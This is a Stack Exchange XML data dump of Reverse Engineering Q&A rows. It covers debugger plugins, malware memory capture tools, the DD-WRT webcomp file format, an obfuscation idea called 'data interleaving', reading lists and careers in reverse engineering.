href=&quot;http://code.google.com/p/ollytlscatch/downloads/detail?name=SilentAttach.dll&quot; rel=&quot;noreferrer&quot;&gt;plugin&lt;/a&gt; which &lt;code&gt;NOP&lt;/code&gt;s the &lt;code&gt;INT3&lt;/code&gt; in &lt;code&gt;DbgBreakPoint&lt;/code&gt; in the process with the PID you choose. It has only been tested on Windows 7.&lt;/p&gt;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xA;&lt;p&gt;Place SilentAttach.dll in OllyDbg directory, fire OllyDbg, Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt;, and then enter process Id of the process you want to silently attach to.&lt;/p&gt;&#xA;&lt;p&gt;N.B.&#xA;Since no break occurs, OllyDbg does not extract many piece of info. e.g. list of loaded module. So, you have to activate the context by something like &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="1331" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-17T03:09:30.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1752" PostTypeId="2" ParentId="1617" CreationDate="2013-04-13T00:19:47.917" Score="4" Body="&lt;p&gt;In general, what I would say is that problems like this one are application-specific.  Therefore, despite the fact that the user broadway was down-voted for his answer, it was exactly the same advice I'd give if I wasn't aware of any nice, special solutions specific to the problem.  What you're going to have to do is watch the data come into the process and then follow it as it is copied and manipulated throughout the program.  This task will be easier than the general case owing to the fact that debug symbols are available for SQL Server.  Have you attempted anything along these lines?  Say, setting a breakpoint on network receive-type functions in the context of SQL Server, setting a hardware RW breakpoint on the data that comes in over the network, and then watching how the data moves through the mass of code?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-13T00:19:47.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostTypeId="2" ParentId="1698" CreationDate="2013-04-13T05:56:17.623" Score="5" Body="&lt;p&gt;It's not directly targeted at bypassing copy protection, but there is substantial research in glitching embedded systems via fault injection by Jasper van Woudenberg.  Applications of his research include manipulating branch decisions and leaking instructions and crypto keys, so there are likely avenues to apply it to your target as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slides from his talk in 2012 may be found here: &lt;a href=&quot;http://www.riscure.com/news-events/fault-injection-attacks-on-embedded-chips&quot; rel=&quot;nofollow&quot;&gt;http://www.riscure.com/news-events/fault-injection-attacks-on-embedded-chips&lt;/a&gt; (more publications by the company may be found &lt;a href=&quot;http://www.riscure.com/news-events?f=publications&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He very recently &lt;a href=&quot;http://www.infiltratecon.com/speakers.html#jasper&quot; rel=&quot;nofollow&quot;&gt;gave a talk at Infiltrate 2013&lt;/a&gt; that touched heavily in this area, so keep a look out for for slides and video from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, it may be worthwhile to learn about the &lt;a href=&quot;http://free60.org/wiki/Reset_Glitch_Hack&quot; rel=&quot;nofollow&quot;&gt;Xbox 360 glitch hack&lt;/a&gt; and the process involved there. &lt;/p&gt;&#xA;" OwnerUserId="1313" LastEditorUserId="60" LastEditDate="2016-06-29T13:01:56.857" LastActivityDate="2016-06-29T13:01:56.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1754" PostTypeId="1" AcceptedAnswerId="1755" CreationDate="2013-04-13T16:32:58.253" Score="21" ViewCount="3943" Body="&lt;p&gt;This post is for collecting all the best books and tutorials that exist dealing with &lt;a href=&quot;/questions/tagged/windows&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;windows&amp;#39;&quot; rel=&quot;tag&quot;&gt;windows&lt;/a&gt; specific reverse engineering techniques and concepts. The content will be added to the &lt;a href=&quot;https://reverseengineering.stackexchange.com/tags/windows/info&quot;&gt;Windows wiki&lt;/a&gt;. Any suggestions of books and tutorials should be added into the CW answer. Please do not add any other answers. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you have anything to say about this, post your opinion here :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.meta.stackexchange.com/questions/53/how-should-book-tutorial-questions-be-dealt-with&quot;&gt;How should book/tutorial questions be dealt with?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.meta.stackexchange.com/questions/96/lets-develop-a-tag-wiki-format&quot;&gt;Lets develop a Tag Wiki format&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have something else to say not covered in the above discussions, start a &lt;a href=&quot;https://reverseengineering.meta.stackexchange.com/questions/ask&quot;&gt;new meta discussion&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="35" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2020-11-30T10:30:14.473" Title="Windows Wiki : Books and Tutorials" Tags="|windows|" AnswerCount="1" CommentCount="10" ClosedDate="2013-04-16T06:37:41.400" CommunityOwnedDate="2013-04-23T09:00:38.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="1755" PostTypeId="2" ParentId="1754" CreationDate="2013-04-13T19:03:34.187" Score="19" Body="&lt;h1&gt;Books:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0764574817&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt;&lt;/strong&gt;, Eldad Eilam&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nostarch.com/idapro2.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;IDA Pro Book, 2nd Edition&lt;/strong&gt;&lt;/a&gt;, Chris Eagle (&lt;a href=&quot;http://www.idabook.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;book's website&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://nostarch.com/ghpython.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Gray Hat Python&lt;/strong&gt;&lt;/a&gt;, Justin Seitz&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb963901.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Windows Internals, 6th edition&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0735663777&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Windows via C/C++ 5th Ed&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Articles:&lt;/h1&gt;&#xA;&lt;h1&gt;Tutorials:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lena's Reversing 101&lt;/a&gt; — the classic introduction for newbie reverser.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://octopuslabs.io/legend/blog/sample-page.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Legend of Random&lt;/a&gt; — list of tutorials and texts to read on RE topics.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Links:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSecurityTraining&lt;/a&gt; — place of great and free online courses to learn, from beginners to hi-level pros.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Forums:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;s&gt;&lt;a href=&quot;http://www.kernelmode.info/forum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;KernelMode&lt;/a&gt; — here you'll find not only a wide range of topics regarding different parts of RE, but also a great community.&lt;/s&gt; (archived)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2020-11-30T10:30:14.473" LastActivityDate="2020-11-30T10:30:14.473" CommentCount="4" CommunityOwnedDate="2013-04-13T19:03:34.187" ContentLicense="CC BY-SA 4.0" />
  <row Id="1757" PostTypeId="1" AcceptedAnswerId="1776" CreationDate="2013-04-13T21:14:00.353" Score="11" ViewCount="1395" Body="&lt;p&gt;The question pretty much says it.  Beyond knowing people that are interested in the same things, is there a collaborative reversing dumping ground for documenting specifically disassembly of closed source firmware?&lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="245" LastEditDate="2013-04-17T04:29:15.517" LastActivityDate="2013-04-17T04:30:55.023" Title="Is there a collaborative reversing forum for people that deal with firmware?" Tags="|decompilation|disassembly|firmware|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostTypeId="2" ParentId="1757" CreationDate="2013-04-14T03:13:16.070" Score="5" Body="&lt;p&gt;What are you looking for exactly? Are you looking to trade notes about specific firmwares, a place to trade tips and tricks when reversing low-level code, or just a place to show off your accomplishments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the &lt;a href=&quot;https://www.hex-rays.com/forum/&quot; rel=&quot;nofollow&quot;&gt;Hex-Rays forum&lt;/a&gt; would be a good place to start for a tips and tricks forum. It's currently not what you want, but it has the right people browsing the forum already -- which is generally the hardest part of creating an online resource like this. I don't know how amenable Hex-Rays is to posting complete write-ups and disassemblies of commercial firmwares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a place to show off your accomplishments, I believe that this StackExchange is appropriate (or &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/&quot; rel=&quot;nofollow&quot;&gt;/r/ReverseEngineering&lt;/a&gt;)!&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="245" LastEditDate="2013-04-17T04:30:55.023" LastActivityDate="2013-04-17T04:30:55.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1761" PostTypeId="1" AcceptedAnswerId="1762" CreationDate="2013-04-14T09:41:56.633" Score="14" ViewCount="2891" Body="&lt;p&gt;I have an infected MS-Windows 7 machine with an &lt;em&gt;in-memory&lt;/em&gt; malware, shutting it down will probably make it disappear and I would like to get the malware in a more convenient format to perform some analysis on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the different in-memory malware and what kind of methods do you recommend for each type of in-memory malware ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-04-17T17:32:15.993" Title="How to capture an &quot;in-memory&quot; malware in MS-Windows?" Tags="|malware|digital-forensics|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostTypeId="2" ParentId="1761" CreationDate="2013-04-14T09:49:47.257" Score="20" Body="&lt;p&gt;You should proceed in two steps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First:&lt;/strong&gt; You need to have a look on &lt;a href=&quot;http://www.moonsols.com/products/&quot;&gt;MoonSols Windows Memory Toolkit Community Edition&lt;/a&gt;.  It will allow You to dump memory to file for further analysis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt; then You'll need &lt;a href=&quot;https://www.volatilesystems.com/default/volatility&quot;&gt;Volatility Toolkit&lt;/a&gt; to analyze dump file and extract info, binaries, DLLs and more from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For great sample&lt;/strong&gt;: of using Volatility - have a look on Andre DiMino's blog post about &lt;a href=&quot;http://sempersecurus.blogspot.co.il/2012/08/cridex-analysis-using-volatility.html&quot;&gt;&lt;strong&gt;Cridex&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-04-14T09:49:47.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1763" PostTypeId="1" AcceptedAnswerId="1764" CreationDate="2013-04-14T12:43:55.180" Score="4" ViewCount="777" Body="&lt;p&gt;When reversing a router firmware based on DD-WRT I came across a mention of &quot;webcomp&quot;. It seems it's used for storing internal HTML files for the web interface. What exactly it is and how can I extract those files from the firmware image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This is a self-asked and answered question to add to the knowledge based.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2017-04-04T00:00:59.690" LastActivityDate="2022-01-10T21:09:45.967" Title="What is &quot;webcomp&quot; and how does it work?" Tags="|linux|firmware|webcomp|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostTypeId="2" ParentId="1763" CreationDate="2013-04-14T12:43:55.180" Score="6" Body="&lt;pre&gt;&lt;code&gt;/*&#xA; * webcomp -- Compile web pages into C source&#xA; *&#xA; * Copyright (c) GoAhead Software Inc., 1995-2000. All Rights Reserved.&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Webcomp Description&lt;/h2&gt;&#xA;&lt;p&gt;Webcomp, or 'web compiler', is a very simple tool written by &lt;em&gt;GoAhead Software&lt;/em&gt; during the period of 1995-2000. It 'compiles' web pages into a single binary blob, adding an index of files in the blob to the httpd for use at runtime.&lt;/p&gt;&#xA;&lt;p&gt;Webcomp is available in the DD-WRT source code. It clearly was created in a 'just hack it out' style, without much concern for its appearance. It does the job though, which is what matters.&lt;/p&gt;&#xA;&lt;p&gt;DD-WRT uses this tool to 'protect' their web management console. Since their web management console is derived from GPL'd open source,  has had countless contributors over the years, and webcomp itself is open source, I do not believe there is any legal restriction against  documenting the mechanism they use.&lt;/p&gt;&#xA;&lt;h2&gt;Data Types&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Binary Blob.&lt;/strong&gt;&#xA;Normally stored as a file at /etc/www, this is a simple concatenation of all web pages on the device. It is not compressed or obfuscated. Nor should it be. The file systems used by embedded linux firmwares, such as squashfs, feature compression as a primary attribute. Therefore, compressing this blob would be redundant and would harm the final compression ratio of the file system. Similarly, obfuscation of the block would substantially affect the compressibility. However, there is a commented out section in the webcomp source that would apply lzma to the binary blob. There's no evidence it has ever been used, for the reasons I've given.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Index Array.&lt;/strong&gt;&#xA;The array added to the httpd is done by &lt;em&gt;modifying the source code prior to build&lt;/em&gt;. It adds an object named &lt;em&gt;websRomPageIndex&lt;/em&gt; that contains this array of information about the files in the concatenated binary blob.&lt;/p&gt;&#xA;&lt;p&gt;The array consists of file names and sizes. An older version of webcomp included offsets as well, but these are redundant since the binary blob's files are concatenated in the same order as they appear in the index array. Therefore, as one walks the array, the size of each file gives  a relative offset to the next file in the binary blob.&lt;/p&gt;&#xA;&lt;p&gt;Craig Heffner's webdecomp, which can decompile and recompile webcomp'd web packages, is much better formatted code than webcomp itself, so I'll use its data structures, amended with my own comments.&lt;/p&gt;&#xA;&lt;p&gt;Each member of the array is defined as:&lt;/p&gt;&#xA;&lt;p&gt;ORIGINAL Format&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* OLD webcomp file_entry data type */&#xA;struct file_entry&#xA;{&#xA;    uint32_t name;   /* virtual offset of asciiz file name in httpd  */&#xA;    uint32_t offset; /* offset to file in blob (unnecessary) */&#xA;    uint32_t size;   /* size of file data in blob */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;NEW Format&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/* NEWER webcomp file_entry data type */&#xA;struct new_file_entry&#xA;{&#xA;    uint32_t name;  /* virtual offset of asciiz file name in httpd  */&#xA;    uint32_t size;  /* size of file data in blob */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;Modifications by DD-WRT&lt;/h2&gt;&#xA;&lt;p&gt;DD-WRT has hacked on the webcomp code a few times. Their modifications are not publicly available. In fact, only the old webcomp.c using the original file_entry data type is included in the DD-WRT source code. They may have been responsible for the switch to the more efficient file_entry data type that excludes the redundant offsets.&lt;/p&gt;&#xA;&lt;p&gt;They are certainly responsible for a recent addition that obfuscates all file sizes in the index array. They do this by adding a constant to the sizes. In the most recent builds of DD-WRT, this appears to be 0x4BF8. This can vary between builds.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, the obfuscation is quite simple:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;new_file_entry.size += key;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Dynamically Calculating the Key.&lt;/strong&gt; Since we can &lt;em&gt;assume&lt;/em&gt; the real size of files within the package (many haven't changed in years, if ever), we can calculate the key used with a firmware. This has the added benefit of working on older images that had no key (0). We do this by finding the file we know the size of (index 0 is fine), then:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;key = new_file_entry.size - assumed_known_size;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For an additional sanity check, one could confirm that the sample file is indeed extracted to match the known sample of that file. A simple hash compare would do the trick.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/em&gt; &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1798/245&quot;&gt;See devttys0's answer&lt;/a&gt; that utilizes the sum of all files vs the actual blob size, then divides by the number of files to get the average difference, which is the key.&lt;/p&gt;&#xA;&lt;h2&gt;Webdecomp&lt;/h2&gt;&#xA;&lt;p&gt;Created by Craig Heffner, this tool can extract and rebuild webcomp'd packages. It's, ironically, far superior code to the webcomp tool. I recently modified webdecomp to handle these new DD-WRT keys, calculating the key at extraction and saving it for the Later rebuild. This is part of the Firmware Mod Kit.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2022-01-10T21:09:45.967" LastActivityDate="2022-01-10T21:09:45.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1765" PostTypeId="2" ParentId="1761" CreationDate="2013-04-14T13:04:36.417" Score="9" Body="&lt;p&gt;I agree with Denis' answer, but for me, Step 0 is to start &lt;a href=&quot;http://www.hbgary.com/free-tools#flypaper&quot;&gt;FlyPaper&lt;/a&gt;, from HBGary.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HBGary Flypaper is an invaluable tool in your fight against malware.&#xA;  Most malware is designed into two or three stage deployment. First, a&#xA;  dropper program will launch a second program, and then delete itself.&#xA;  The second program may take additional steps, such as injecting DLL's&#xA;  into other processes, loading a rootkit, etc. These steps are taken&#xA;  quickly, and it can be difficult for an analyst to capture all of the&#xA;  binaries used in the deployment. HBGary Flypaper solves this problem&#xA;  for the analyst.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;HBGary Flypaper loads as a device driver and blocks all attempts to&#xA;  exit a process, end a thread, or delete memory. All components used by&#xA;  the malware will remain resident in the process list, and will remain&#xA;  present in physical memory. The entire execution chain is reported so&#xA;  you can follow each step. Then, once you dump physical memory for&#xA;  analysis, you have all the components 'frozen' in memory - nothing&#xA;  gets unloaded. All of the evidence is there for you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-04-14T13:04:36.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostTypeId="1" AcceptedAnswerId="1767" CreationDate="2013-04-14T17:16:43.087" Score="-6" ViewCount="732" Body="&lt;p&gt;What is data interleaving? Is this something I can use to obfuscate collections of variables?&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="53" LastEditDate="2013-04-14T20:34:31.043" LastActivityDate="2013-04-14T20:34:31.043" Title="What is Data Interleaving?" Tags="|obfuscation|" AnswerCount="1" CommentCount="14" ClosedDate="2013-04-15T07:28:51.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostTypeId="2" ParentId="1766" CreationDate="2013-04-14T17:16:43.087" Score="1" Body="&lt;p&gt;Data Interleaving is a term I made up to reflect an idea I've been contemplating lately; interleaving the bits of a set of variables into a single binary blob. Any number and types of variables could be interleaved together. Access to variables in the interleaved blob can even be on-demand, with a controller class encoding or decoding variables on the fly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What in the World?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Data Interleaving is the process of translating any number of variables to a single binary blob by interleaving the bits of the variables. This obfuscates the variables in memory or external storage. The entire blob need not be decoded to access member variables, though it can be for improved performance.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This will help complicate reverse engineering of code. It will particularly deter identifying data types and variables. Plaintext is also well obfuscated with this interleave.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Interleave Map&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The variables to be encoded could be defined by an array of byte sizes of those variables and, optionally, pointers to a location in memory to retrieve or store their reconstituted form. In the case of on-demand access to an interleaved blob, individual variables can be decoded and re-encoded on the fly, so buffers for reconstituted storage are optional (though they may be temporarily reconstituted by the controller class as members are modified).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The members of the bitwise interleave can be referenced in the source code via their indices. For instance, index 0 may be MY_VARIABLE_INSTANCE. By passing the variable index to an interleave blob controller class, it knows the size and, optionally, a pointer for constituted storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Member data types can be anything. They need not be similar. When one variable ends, it is simply ended. See a few paragraphs below for what happens when a single variable is longer than the others.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* member information */&#xA;/* optional pointer to its normal, constituted storage location */&#xA;/*  (for use in encoding and decoding the member) */&#xA;/* and the size of the member */&#xA;class CInterleaveMember&#xA;{&#xA;  void *pvConstitutedStore;&#xA;  unsigned long nMemberByteSize;&#xA;};&#xA;&#xA;/* INTERLEAVE MAP */&#xA;CInterleaveMember aInterleaveMap[]&#xA;  { szSomeString, sizeof(szSomeString) },&#xA;  { &amp;amp;nIntegerMan, sizeof(nIntegerMan) },&#xA;  { &amp;amp;cMyClass , sizeof(cMyClass) };&#xA;&#xA;void *pBLOB;  /* interleaved data stored in a dynamically allocated blob */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The total size of the blob need not be stored, as it is the sum of all member sizes in the interleave map. The interleave map provides everything we need to know.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Process&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In case it is not clear, the process for the interleave would go something like this: The array of members is 'walked', putting or getting the current bit index from each member variable, advancing to the next bit index after the entire array has been walked. When a member variable is full of bits (exhausted), it is skipped in subsequent interleave iterations (more on long vars later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity, let me define a few variables in bits only (not matching above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;szSomeString 0 1 1 1 0 0 1 0 &#xA;nIntegerMan  1 1 1 0 0 0 1 1 1 0 0 1 0 0 0 1&#xA;cMyClass     0 0 0 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the interleave, a bit is taken from each variable in succession.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First iteration of the interleave, get first bit from each ...&#xA; 0 1 0&#xA;Next iteration(s), get the next bit from each ...&#xA; 0 1 0 1 1 0&#xA; 0 1 0 1 1 0 1 1 0&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;When a Member is Longer than the Others&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the case where one variable is much longer than the others, thus having no pair to encode with, one could use a simple XOR, and/or toss in redundant, unused data from the prior members. Any number of strategies are possible to prevent plaintext storage in the case of an abnormally long variable not having an interleave partner for its ending bits.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sample Code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For example, the following pseudo-code represents this algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* PROTECTED VARIABLES */&#xA;/* These get stored in an bitwise interleave in the binary blob */&#xA;char szSomeString = &quot;Is there anybody out there?&quot;;&#xA;unsigned long nIntegerMan = 0x9090; &#xA;MyClass cMyClass(&quot;whoopie&quot;);&#xA;&#xA;class CInterleaveMember&#xA;{&#xA;  void *pvConstitutedStore;&#xA;  unsigned long nMemberByteSize;&#xA;};&#xA;&#xA;/* INTERLEAVE MAP */&#xA;CInterleaveMember aInterleaveMap[]&#xA;  { szSomeString, sizeof(szSomeString) },&#xA;  { &amp;amp;nIntegerMan, sizeof(nIntegerMan) },&#xA;  { &amp;amp;cMyClass , sizeof(cMyClass) };&#xA;&#xA;/* NOTE: Total size of the resultant bitwise interleave is the sum of the members of a Interleave Map */&#xA;&#xA;/* INTERLEAVE REFS */&#xA;typedef enum &#xA;{&#xA;  _szSomeString=0,&#xA;  _nIntegerMan,&#xA;  _cMyClass,&#xA;} InterleavedVariables;&#xA;&#xA;void *pBinaryBlob;  /* dynamically allocated blob storage */&#xA;&#xA;/* Fictional class constructor, passing the interleave map to it */&#xA;/* From the interleave map, it can calculate the total blob size, */&#xA;/* then dynamically allocate storage for the blob. */&#xA;CBitInterleaver cBitInterleave(aInterleaveMap);&#xA;&#xA;/* If the blob is externally loaded, or needs externally stored, we */&#xA;/* may need to get access to the blob buffer. Fictional example: */&#xA;/* We know the blob size from map! The input size is for safety. */&#xA;cBitInterleave.SetBlob(pIncomingBlob, nSrcBufferSize);  &#xA;&#xA;/* Or we can get the blob */&#xA;nBlobSize=cBitInterleave.GetBlob(ppOutgoingBlob);&#xA;&#xA;/* Example to encode or decode the entire blob to constituted */&#xA;/* storage. We already provided the map, and it decodes or encodes */&#xA;/* to the listed pointers.&#xA;cBitInterleave.EncodeBlob();&#xA;cBitInterleave.DecodeBlob();&#xA;&#xA;/* Example call to decode a member of the array */&#xA;/* We pass it the INDEX into the MAP, and dest buffer */&#xA;/* From the Index of _nIntegerman, we ALREADY know the size */&#xA;/* The out size is for safety. */&#xA;cBitInterleave.GetVariable(_nIntegerMan, &amp;amp;nIntegerMan, sizeof(nIntegerMan));&#xA;&#xA;/* OR we can use the default storage address in the interleave map */      &#xA;cBitInterleave.GetVariable(_nIntegerMan);&#xA;&#xA;/* Example call to encode a member of the array */&#xA;/* We pass it the INDEX into the MAP, and input reference */&#xA;cBitInterleave.SetVariable(_szSomeString, &amp;amp;szSomeString, sizeof(szSomeString));&#xA;&#xA;/* And so on... I'm literally coding this in this answer, like a fool */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="1563" LastEditDate="2013-04-14T18:47:15.320" LastActivityDate="2013-04-14T18:47:15.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostTypeId="1" CreationDate="2013-04-14T17:42:15.887" Score="18" ViewCount="1857" Body="&lt;p&gt;While we all know what fun reverse engineering of code can be, I am wondering what legitimate industries, besides the anti-X industry, reverse engineer code? While this may sometimes be needed in many technical roles, I am speaking more of jobs where this is a primary responsibility. I suspect there are very few jobs where reverse engineering is a necessary skill, or few that would be admitted to, but don't know that for certain. Yes, it is of course always a complementary skill!&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorDisplayName="user12114" LastEditDate="2019-01-28T10:38:11.297" LastActivityDate="2019-01-28T10:38:11.297" Title="In what industries is [code] reverse engineering used?" Tags="|disassembly|career-advice|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostTypeId="2" ParentId="1761" CreationDate="2013-04-14T17:44:25.923" Score="4" Body="&lt;p&gt;MoonSols and Volatility are one option.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another set of options are &lt;a href=&quot;http://www.mandiant.com/resources/download/redline&quot; rel=&quot;nofollow&quot;&gt;Redline&lt;/a&gt; and &lt;a href=&quot;https://www.mandiant.com/resources/download/memoryze&quot; rel=&quot;nofollow&quot;&gt;Memoryze&lt;/a&gt;, both of which are from Mandiant.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An added bonus with Memoryze is that memory acquisition is included.&lt;/p&gt;&#xA;" OwnerUserId="1536" LastActivityDate="2013-04-14T17:44:25.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostTypeId="2" ParentId="1769" CreationDate="2013-04-14T19:10:01.537" Score="1" Body="&lt;p&gt;Probably the security industry is the biggest user of reverse engineering. Malware analysis, analyzing binaries for potential security vulns, and analysis of patches to write security product signatures.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2013-04-14T19:37:30.133" LastActivityDate="2013-04-14T19:37:30.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
